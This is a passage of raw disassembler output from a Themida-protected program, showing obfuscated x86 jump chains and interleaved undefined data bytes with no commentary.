		xor	ecx, 0C321BA4h
		sub	esi, ecx
		pop	ecx
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		jmp	loc_55806B
; ---------------------------------------------------------------------------
aS_6		db '\é³#',0
		align 2
		dw 5E68h
		dd 54000010h, 8324048Fh, 58042404h, 9CA8E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B1E:				; CODE XREF: Themida_:00554782j
		pop	esp
		sub	esp, 4
		jmp	loc_5578F8
; ---------------------------------------------------------------------------
		db 83h
		dd 0C28304C4h, 43C9E902h, 0E95A0001h, 12409h, 2076C681h
		dd 0C601033Ch, 2076EE81h, 8758033Ch, 90E92434h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B4F:				; CODE XREF: Themida_:00560000j
		shl	eax, 7
		add	eax, 0C9E4FFFh
		shl	eax, 6
		jmp	loc_55DBD0
; ---------------------------------------------------------------------------


loc_551B5F:				; CODE XREF: Themida_:0055A83Cj
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 0D5F4740h
		pop	ebx
		xor	ebx, 0D5F4740h
		push	dword ptr [esp]
		jmp	loc_552242
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0E1895124h, 4C181h, 1E90000h, 0C10000ACh
		dd 0C38102EBh, 0FBF70003h, 1DC2ED81h, 0DD016006h, 1DC2C581h
		dd 505B6006h, 2B8h, 99E7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551BB2:				; CODE XREF: Themida_:0055862Cj
		pop	ebx
		push	ebx
		mov	ebx, 1E7B04DCh
		sub	ebx, 19D303AEh
		jmp	loc_55C3D0
; ---------------------------------------------------------------------------
aRWs		db 'Áà',8,'Wé=»',0
		dd 0E9475F00h, 152Ah, 6C2CBA52h, 0C28145E7h, 743C2946h
		dd 0CBE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_551BE5:				; CODE XREF: Themida_:00555BBBj
		push	ebx
		push	5755h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	303F5150h
		pop	ebx
		and	ebx, 6FBF3FB0h
		xor	ebx, 572C330Fh
		add	ebx, 24157512h
		sub	ebx, 58BD9016h
		push	ebx
		jmp	loc_565A41
; ---------------------------------------------------------------------------


loc_551C30:				; CODE XREF: Themida_:00554ADFj
		mov	ecx, 78CD9B96h
		add	edx, ecx
		pop	ecx
		xor	edi, edx
		pop	edx
		shl	edi, 2
		sub	edi, 14C70EE0h
		sub	esi, edi
		pop	edi
		add	esi, ecx
		add	esi, 21AC1B6Ch
		jmp	loc_55ADF0
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	56000000h, 4BA52h, 44E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C6B:				; CODE XREF: Themida_:00558F40j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	466Fh
		mov	[esp], edi
		jmp	loc_552D3F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 6819CD81h, 0C58131BCh, 0C64181A7h, 875DE929h, 545C240Ch
		dd 8324048Fh, 58042404h, 21F6E9h, 3E8C100h, 0D0F7D8F7h
		dd 0B34B192Dh, 6018E9C9h, 77FF0000h, 59669D1Ch,	2414D366h
		dd 0F966E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551CC2:				; CODE XREF: Themida_:00559ED8j
		add	ebp, 1C651E2Ah
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55A4CC
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 8
		dd 2668BF57h, 0EF811585h, 7A447EA5h, 4287CF81h,	0DFF76E88h
		dd 0E732E9h, 0FAC38000h, 826AE9h
		db 0
; ---------------------------------------------------------------------------


loc_551CF5:				; CODE XREF: Themida_:00556A67j
		xor	dl, 0C3h
		sub	bl, dl
		jmp	loc_5656E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7EEA8100h, 0E925DA6Bh,	2EB8h
; ---------------------------------------------------------------------------


loc_551D10:				; CODE XREF: Themida_:005641BCj
		add	edi, 4
		jmp	loc_5544AA
; ---------------------------------------------------------------------------
		dd 769868h, 241C8900h, 1BE996B7h, 0BA000134h, 0A131DE6h
		dd 0D0E9D029h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D33:				; CODE XREF: Themida_:00563CF7j
		add	edx, 7BC77CA2h
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_55F5C7
; ---------------------------------------------------------------------------


loc_551D42:				; CODE XREF: Themida_:0055CD1Cj
		pop	eax
		jmp	loc_5555C8
; ---------------------------------------------------------------------------
aIusl		db '‰ãé«"',0
		dw 8F00h
		dd 0FCE92404h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D57:				; CODE XREF: Themida_:0055D79Cj
		push	ebx
		mov	ebx, 6E516853h
		jmp	loc_56387A
; ---------------------------------------------------------------------------
		dw 0BFBAh
		dd 17DBD4Eh, 0D0E95AD5h, 5B00006Eh, 48BC688h, 10E95124h
		dd 590000F1h, 641068h, 0D29EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D86:				; CODE XREF: Themida_:0055B972j
		add	esp, 4
		jmp	loc_55AA10
; ---------------------------------------------------------------------------
		db 2Dh,	0ADh, 1Bh
		dd 22055ACBh, 5F287B1Ah, 0B8E9C701h, 3300003Ah,	0E95C2434h
		dd 0E723h, 2A3E95Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_551DB2:				; CODE XREF: Themida_:00559A9Fj
		push	0C6Ch
		mov	[esp], eax
		jmp	loc_565AB5
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 24048924h, 2434FF54h, 67C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_551DD1:				; CODE XREF: Themida_:0056387Bj
		mov	esi, 3E905FD7h
		xor	ebx, esi
		jmp	loc_5614EC
; ---------------------------------------------------------------------------


loc_551DDD:				; CODE XREF: Themida_:0055D998j
		mov	edx, 45D70545h
		neg	edx
		and	edx, 3C3926A4h
		xchg	edi, edx
		sub	edi, 1
		push	edx
		push	edi
		jmp	loc_5575A9
; ---------------------------------------------------------------------------


loc_551DF6:				; CODE XREF: Themida_:00562D50j
		xor	dword ptr [esp], 2771D9Eh
		jmp	loc_558B93
; ---------------------------------------------------------------------------
aFssie		db 'fS雥',0
		dd 69E95D00h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E0F:				; CODE XREF: Themida_:00565767j
		shr	ebp, 5
		xor	ebp, 14D4729Ch
		add	eax, 4FA616B6h
		sub	eax, ebp
		jmp	loc_561D5E
; ---------------------------------------------------------------------------


loc_551E24:				; CODE XREF: Themida_:0055985Fj
		xchg	edi, [esp]
		jmp	loc_561B7B
; ---------------------------------------------------------------------------
		dd 0C5C0FBBh, 0E9DE317Ah, 6338h
; ---------------------------------------------------------------------------


loc_551E38:				; CODE XREF: Themida_:0056266Fj
		pop	eax
		add	eax, 16C83B95h
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 2A38544Eh
		mov	eax, [esp]
		push	3580h
		jmp	loc_553380
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aQhsu		db 'Qháu',0
		align 2
		dw 2489h
		dd 24048324h, 2434FF04h, 592434FFh, 5ADFE956h, 8F660000h
		dd 9E92404h, 83000074h,	148904ECh, 3CA16824h, 515A5387h
		dd 372C68h, 3298E900h, 0C4830001h, 0C6E95604h, 0B0000053h
		dd 2CB104E1h, 7E4E9FFh,	0A5F30000h, 56386203h, 79416855h
		dd 2C8B28A0h, 4C48324h,	952E957h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551EBE:				; CODE XREF: Themida_:00556490j
		push	40C7h
		mov	[esp], ebp
		jmp	loc_559755
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0EC810000h, 4, 68242C89h, 606065F5h,	0D7C5815Dh
		dd 81371D28h, 0B754A0C5h, 7EDC11Ch, 70F8BB53h, 0D3F71435h
		dd 92C38143h, 313D2790h, 0FD79E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F06:				; CODE XREF: Themida_:0055F15Cj
		mov	eax, [esp]
		add	esp, 4
		push	7200h
		mov	[esp], ebx
		jmp	loc_551FCF
; ---------------------------------------------------------------------------


loc_551F19:				; CODE XREF: Themida_:005560D6j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5582CF
; ---------------------------------------------------------------------------
		db 45h
		dd 6890C581h, 56E9604Fh
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551F37:				; CODE XREF: Themida_:0055D28Dj
		neg	edx
		xchg	edx, ebp
		push	ebx
		mov	ebx, 0B6E5300h
		inc	ebx
		shl	ebx, 8
		inc	ebx
		push	edi
		jmp	loc_5560DB
; ---------------------------------------------------------------------------
		dd 5C240487h, 0C8B5451h, 4C48324h, 4C181h, 0E9810000h
		dd 4, 2474FF51h, 48F5904h, 0C895C24h, 4EC8324h,	0BF243C89h
		dd 4, 34FFF989h, 298AE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551F86:				; CODE XREF: Themida_:005660E9j
		push	eax
		mov	eax, 49CA62E3h
		sub	ecx, eax
		pop	eax
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_553B80
; ---------------------------------------------------------------------------
		db 81h
		dd 0BDF265F7h, 5FF909BFh, 0FE9AF181h, 0CE29BBD6h, 124A6E9h
		dd 5DEB8900h, 0C331D3F7h, 0C331D831h, 0B1E9D0F7h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551FCF:				; CODE XREF: Themida_:00551F14j
		push	6A9h
		mov	[esp], eax
		push	edi
		mov	edi, 7EDF2757h
		push	edi
		sub	dword ptr [esp], 0F7D0E2Eh
		pop	eax
		add	eax, 0F7D0E2Eh
		jmp	loc_560D83
; ---------------------------------------------------------------------------
		dd 0A8E9FB87h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551FF7:				; CODE XREF: Themida_:00555AF2j
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557DA2
; ---------------------------------------------------------------------------
		db 0D0h, 0E0h, 0F6h
		dd 4960CD0h, 0E95C04E0h, 13614h, 7137EB81h, 0D301394Bh
		dd 0EEB0E9h, 10AABE00h,	7AE901B5h, 80000079h, 0F68059E6h
		dd 0CFEE80C1h, 5A66F300h, 8B2434FFh, 0C4832414h, 4C48104h
		dd 66000000h, 4B6B353h,	850CE93Eh, 4810000h, 424h, 3AFE900h
		dd 81590000h, 777C2BC5h, 81D50133h, 777C2BEDh, 0ADB95133h
		dd 0C119B757h, 0E18107E1h, 46F063FCh, 0C065C181h, 20E91694h
		dd 83000002h, 895204C4h, 83BB53E2h, 0E937771Eh,	686Dh
		dd 0C38BE955h, 0C4810000h, 4, 0E9240C33h, 9C51h, 22A1E95Eh
		dd 0EAC10000h, 0AEEA8107h, 0E9B7CC48h, 0E82Fh, 0F65EC380h
		dd 47C380D3h, 4EC81h, 9FE90000h, 68000071h, 3BFCh, 0BD242C89h
		dd 0E97113EDh, 2C8BEA01h, 4C48324h, 34FFD529h, 0C4815A24h
		dd 4, 2474FF55h, 17E95D04h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552107:				; CODE XREF: Themida_:0055A396j
		add	ebp, 4
		jmp	loc_55E1FA
; ---------------------------------------------------------------------------


loc_552112:				; CODE XREF: Themida_:00559CBFj
		add	edx, 0D1B1B23Dh
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_55F8DD
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 85F4h, 81242C8Bh, 4C4h, 1556800h, 43E90000h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55214B:				; CODE XREF: Themida_:00554879j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 6C794507h
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 1
		jmp	loc_55246C
; ---------------------------------------------------------------------------
		db 88h
		dd 0C68058E6h, 28942C8Dh, 4B7CE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55217E:				; CODE XREF: Themida_:005557B1j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_55218F:				; CODE XREF: Themida_:0055A84Bj
		push	ecx
		push	1A1B7044h
		pop	ecx
		and	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_563644
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 243C8904h, 243C8B54h, 4C481h, 7DE90000h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5521D3:				; CODE XREF: Themida_:00552B73j
		pop	edx
		xor	edx, 269343FFh
		pop	ebp
		push	ecx
		mov	ecx, 17E640A5h
		jmp	loc_55C3AF
; ---------------------------------------------------------------------------
		dw 0C89h
aA_3		db '$µ',27h,'€Ä%',0
aQs		db 'ìQé}È',0
		align 2


loc_5521F6:				; CODE XREF: Themida_:00555856j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, ecx
		add	dword ptr [ebx], 1
		pop	ebx
		pop	ecx
		jmp	loc_56101F
; ---------------------------------------------------------------------------


loc_55221D:				; CODE XREF: Themida_:00562602j
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554251
; ---------------------------------------------------------------------------


loc_552232:				; CODE XREF: Themida_:0055DD54j
		xor	eax, 28401BE7h
		or	eax, 4A3C54F7h
		push	ebx
		jmp	loc_552FE7
; ---------------------------------------------------------------------------


loc_552242:				; CODE XREF: Themida_:00551B76j
		pop	eax
		add	esp, 4
		sub	ebp, 16E444EDh
		sub	ebp, ebx
		add	ebp, 16E444EDh
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		push	14D3h
		jmp	loc_5577DB
; ---------------------------------------------------------------------------
		dw 3E68h
		dd 8900005Eh, 0B2E9240Ch, 5B000081h, 4EC81h, 1C890000h
		dd 0E163E924h, 0F0010000h, 0CE35BF05h, 777F0551h, 348B67CBh
		dd 3709E924h, 2C890001h, 3960BD24h, 0E0E95B87h,	81000119h
		dd 43159EEDh, 81CD292Fh, 43159EC5h, 575A592Fh, 2BFh, 5FFD0100h
		dd 2474FF55h, 0E8E95D04h, 0BF000110h, 0BBF0461h, 8108EFC1h
		dd 1C7h, 0E1A5E900h, 0F7010000h, 243C875Eh, 0AFE94D5Ch
		dd 29000019h, 15EB81CBh, 0E9326653h, 8204h, 405h, 762DE900h
		dd 0EB810000h, 7FFF0BBCh, 1C8BD901h, 4C48124h, 81000000h
		dd 4C1h, 0F2F5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552326:				; CODE XREF: Themida_:0055D6FCj
		pop	ebp
		mov	ebx, edx
		jmp	loc_5598E5
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 54525642h, 0B2E9CD01h, 810000C9h, 9013F0C2h,	81C22925h
		dd 9013F0EAh, 32FF5825h, 6E63E9h
		db 0
; ---------------------------------------------------------------------------


loc_552351:				; CODE XREF: Themida_:00563611j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55A981
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FFF72900h, 348B2434h,	0E6895624h, 4C681h, 0BEE90000h
		dd 810000BBh, 0A57B7FEEh, 5EF20172h, 0E904C283h, 0FFFFF615h
		dd 4E9028Fh, 5900013Ah,	333EE95Bh, 148B0000h, 4C48324h
		dd 9807E9h, 68555800h, 238F6EC5h, 57242C8Bh, 0BD55E789h
		dd 577B488Fh, 0E9DDF745h, 23EDh, 1779E953h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5523DE:				; CODE XREF: Themida_:00564AD0j
		push	ecx
		mov	ecx, 160B5060h
		add	edx, ecx
		pop	ecx
		jmp	loc_552D9C
; ---------------------------------------------------------------------------


loc_5523EC:				; CODE XREF: Themida_:00554AA0j
		sub	dword ptr [esp+4], 77527DFFh
		add	dword ptr [esp+4], 729F089Ch
		jmp	loc_5573B0
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4E9h, 240C8700h, 118E7E9h, 41E95A00h, 83000136h
		dd 0C8904ECh, 0EEB524h,	0D0ECE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55242A:				; CODE XREF: Themida_:00560240j
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559BCD
; ---------------------------------------------------------------------------
		db 68h,	0DBh, 2
		dd 0B4E90000h, 51000021h, 232368h, 241C8900h, 0FD8862B7h
		dd 52F5805Bh, 0E9F7E580h, 0ACDDh
; ---------------------------------------------------------------------------


loc_552460:				; CODE XREF: Themida_:00560944j
		pop	ebx
		add	ebx, 4
		jmp	loc_562878
; ---------------------------------------------------------------------------


loc_55246C:				; CODE XREF: Themida_:0055216Aj
		xor	esi, 9386BAF3h
		add	edi, esi
		jmp	loc_56016A
; ---------------------------------------------------------------------------
aQs_0		db '¾Ô"]qé²',0
		db 0
; ---------------------------------------------------------------------------


loc_552483:				; CODE XREF: Themida_:005551B1j
		mov	[esp], edx
		mov	edx, 66C137CBh
		or	edx, 53CC4466h
		neg	edx
		jmp	loc_5565A3
; ---------------------------------------------------------------------------


loc_552498:				; CODE XREF: Themida_:00558C27j
		add	eax, 3AC83B49h
		add	eax, 0FF0B7B65h
		sub	edx, eax
		jmp	loc_5566EC
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 94h
		dd 295B2D28h, 24348BF1h, 0FFFBEDE9h, 565159FFh,	3642C7BEh
		dd 5EF18942h, 28DBE181h, 0E955234Dh, 119B5h, 0DD00C7BBh
		dd 0C3814346h, 30AF1FF1h, 0C15BDD31h, 0F58107EDh, 0D5DB1Bh
		dd 7AE9EB01h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5524EF:				; CODE XREF: Themida_:005654A0j
		push	4D21h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		jmp	loc_563E77
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0B5h
		dd 2988A8DAh, 2FFBE9D7h, 0D6890001h, 2444815Ah,	6B01FC04h
		dd 24448146h, 0F7749D04h, 2474010Fh, 5F98E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55252E:				; CODE XREF: Themida_:0055CB3Cj
		sub	edi, 38AB4B93h
		sub	edi, 5D883A8Fh
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55DDD8
; ---------------------------------------------------------------------------
aSSc1		db ')è]éç1',0
		dw 8B00h
		dd 0C483240Ch, 0EDFE904h, 0C6810001h, 4, 0E904EC83h, 4BD2h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 31241433h, 14332414h
		dd 24248B24h, 9C242CD3h, 0FFF08BE9h, 148B58FFh,	4C48324h
		dd 24D868h, 24048900h, 240768h,	24148900h, 0F088FE88h
		dd 1225EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5525BD:				; CODE XREF: Themida_:00557EBCj
		sub	esi, 62470DC6h
		and	esi, 4AA73398h
		add	esi, 0BED6563Ch
		xor	edx, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, edx
		pop	edx
		sub	esi, 40C35CCBh
		push	esi
		pop	edx
		pop	esi
		shr	edx, 1
		jmp	loc_565C9C
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 67D1E904h, 56580000h, 6A6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552601:				; CODE XREF: Themida_:00556A7Bj
		pop	edi
		xor	ebp, 0FBFAA4FBh
		add	eax, ebp
		pop	ebp
		jmp	loc_554708
; ---------------------------------------------------------------------------
		dd 0FF68C181h, 0CF89D6C8h, 81240C8Bh, 4C4h, 2BEAE900h
		dd 87580001h, 241C31FBh, 31241C33h, 0F1E9241Ch,	5AFFFFEFh
		dd 0E4E9F201h, 81000006h, 794A54C3h, 0E548E931h, 248B0000h
		dd 0DA9E924h, 0EEC00000h, 68CEFE05h, 400Eh, 0B3241C89h
		dd 5BDE3044h, 4A8EE80h,	52870465h, 25E91FB6h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552673:				; CODE XREF: Themida_:00560543j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	37Ah
		mov	[esp], esi
		jmp	loc_561557
; ---------------------------------------------------------------------------
		dw 0C8FEh
		dd 1B753h, 0FF2C5BF8h, 0C0C2B252h, 0F28006EAh, 5AD00005h
		dd 34FFC730h, 0E9525824h, 1381Eh, 592434FFh, 65C968h, 24348900h
		dd 0C681E689h, 4, 8704C683h, 31E92434h,	0FF000033h, 0FF042474h
		dd 525E2434h, 0EC1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5526D9:				; CODE XREF: Themida_:0055B499j
		pop	edx
		mov	eax, 1B8136BAh
		add	eax, 15B63052h
		not	eax
		push	ebx
		mov	ebx, 4AA520B3h
		jmp	loc_56159B
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 9DE90000h, 0BD000020h, 3C572511h, 572515B8h,	5DE8313Ch
		dd 48B5B50h, 2FCDE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552712:				; CODE XREF: Themida_:00559D0Fj
		shl	ecx, 2
		sub	ecx, 957CD7FCh
		add	eax, 67001188h
		sub	eax, ecx
		sub	eax, 67001188h
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0FDh
		dd 154844Eh, 0FDEB81FBh, 0FF54844Eh, 835F2434h,	0F32904C4h
		dd 5234EB81h, 348B4E76h, 0E6895624h, 4C681h, 70E90000h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552773:				; CODE XREF: Themida_:0056505Ej
		mov	ebx, 4164E65h
		shl	ebx, 8
		add	ebx, 71075948h
		add	ebx, 4A6A4D61h
		xor	ebx, 0D1C00BADh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B703
; ---------------------------------------------------------------------------


loc_55279D:				; CODE XREF: Themida_:00557A8Ej
		sub	edx, 10E099E0h
		add	esi, edx
		pop	edx
		jmp	loc_5618A8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 515FFE01h, 0E04DB0B9h, 55C18163h,	0E959B556h, 40F1h
		dd 0C15BD921h, 0BF5704E9h, 0E4AD68ACh, 3C8BF929h, 0C56DE924h
		dd 348B0000h, 4C48324h,	4244481h, 35100E0Ah, 17A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5527ED:				; CODE XREF: Themida_:005639C1j
		add	ebx, eax
		jmp	loc_55651F
; ---------------------------------------------------------------------------
		dd 73BEED81h, 0DEE95497h, 88000134h, 23885BDCh,	24148B58h
		dd 8B04C483h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5638C5
; ---------------------------------------------------------------------------
		dw 5650h
		dd 125CE9h, 50C28800h, 0C188D088h, 0A7F3E958h, 24BB0000h
		dd 29021126h, 84E95BDAh, 680000D9h, 129E0550h, 0F6C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_552841:				; CODE XREF: Themida_:00566354j
		add	dl, 9Ch
		add	dl, ah
		pop	eax
		jmp	loc_552F0A
; ---------------------------------------------------------------------------
		dd 885BF988h, 0B05059CEh, 0ECEE80FFh, 96E9C600h, 6800000Eh
		dd 4A49h, 83242489h, 8F042404h,	4832404h, 92E90424h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552877:				; CODE XREF: Themida_:00564714j
		push	ebx
		mov	ebx, 4
		jmp	loc_5625F4
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 2434FF5Ah, 4C4815Ah,	81000000h, 4EEh, 1145E900h, 0D7090000h
		dd 7E7C15Ah, 7A6DF781h,	0E1E9C8C9h, 83000049h, 34FF04C4h
		dd 0C4835924h, 86526604h, 0F6012444h, 244486D0h, 148B6601h
		dd 2C48324h, 665AF388h,	8AD98851h, 8802245Ch, 6602244Ch
		dd 81240C8Bh, 2C4h, 4186E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5528E6:				; CODE XREF: Themida_:0055B5E8j
		add	eax, ecx
		pop	ecx
		add	eax, edx
		push	edi
		push	2F1C17A4h
		pop	edi
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	268Dh
		mov	[esp], eax
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dw 6664h
		dd 0E902B60Fh, 0DD8Ch, 4C481h, 34FF0000h, 94BAE924h, 15A0000h
		dd 2434FFC8h, 83240C8Bh, 0C48304C4h, 24043304h,	0E9240431h
		dd 0D309h
; ---------------------------------------------------------------------------


loc_552944:				; CODE XREF: Themida_:0055E336j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_559D8A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 2C8B2434h, 4C48324h, 4C481h, 48F0000h, 24248B24h
		dd 24048B66h, 3A62E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552972:				; CODE XREF: Themida_:0056339Cj
		push	3A1Ch
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55D69B
; ---------------------------------------------------------------------------


loc_552988:				; CODE XREF: Themida_:0055BF51j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_553C44
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 4730h, 3302E883h, 4312404h, 24043324h, 6624248Bh
		dd 66240C89h, 66C8B60Fh, 61E99C51h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5529C7:				; CODE XREF: Themida_:00558A62j
		movsx	ecx, al
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_556816
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 12C1Ch, 0BB46E95Fh, 248B0000h, 9CC13824h
		dd 0FFEC3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5529ED:				; CODE XREF: Themida_:005578AAj
		push	ebp
		mov	ebp, 4C923BCh
		push	edx
		jmp	loc_5605D9
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 1Ch
		dd 0C895C24h, 51535524h, 9A2500B9h, 97E98179h, 815B4017h
		dd 0EBC48E9h, 0E9CB89F4h, 118D4h, 0D159CF01h, 4EC81EFh
		dd 89000000h, 57BE2434h, 46145332h, 0CDA7F681h,	0F729EBACh
		dd 4E7C15Eh, 0B984C781h, 0BF575E4Ch, 7E5B45B7h,	0A5E9FD01h
		dd 87000115h, 815C2414h, 4C4h, 0EBCAE900h, 0C389FFFFh
		dd 231AE9h, 2434FF00h, 5124148Bh, 0C181E189h, 4, 8704C183h
		dd 515C240Ch, 43DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_552A81:				; CODE XREF: Themida_:0055925Cj
		pop	edx
		shl	eax, 6
		push	ebx
		mov	ebx, 20D9FBC0h
		sub	eax, ebx
		jmp	loc_564B76
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0EC8104C4h, 4, 89241C89h, 0A2BF57E3h, 0C105E44Ch, 0EFD105E7h
		dd 5E9DFF7h, 89000008h,	31B82404h, 81765B41h, 0E804246Ch
		dd 29352557h, 0E9042444h, 68Bh
; ---------------------------------------------------------------------------


loc_552ACC:				; CODE XREF: Themida_:005638CEj
		xchg	ebp, [esp]
		jmp	loc_55766B
; ---------------------------------------------------------------------------


loc_552AD4:				; CODE XREF: Themida_:00565A1Fj
		pop	edi
		mov	ebx, edx
		pop	edx
		jmp	loc_563A92
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 6
		dd 7812C681h, 0BB531304h, 11BB29BCh, 7C76E9h, 57E28900h
		dd 4BFh, 0E9FA0100h, 7043h
; ---------------------------------------------------------------------------


loc_552B00:				; CODE XREF: Themida_:005626F4j
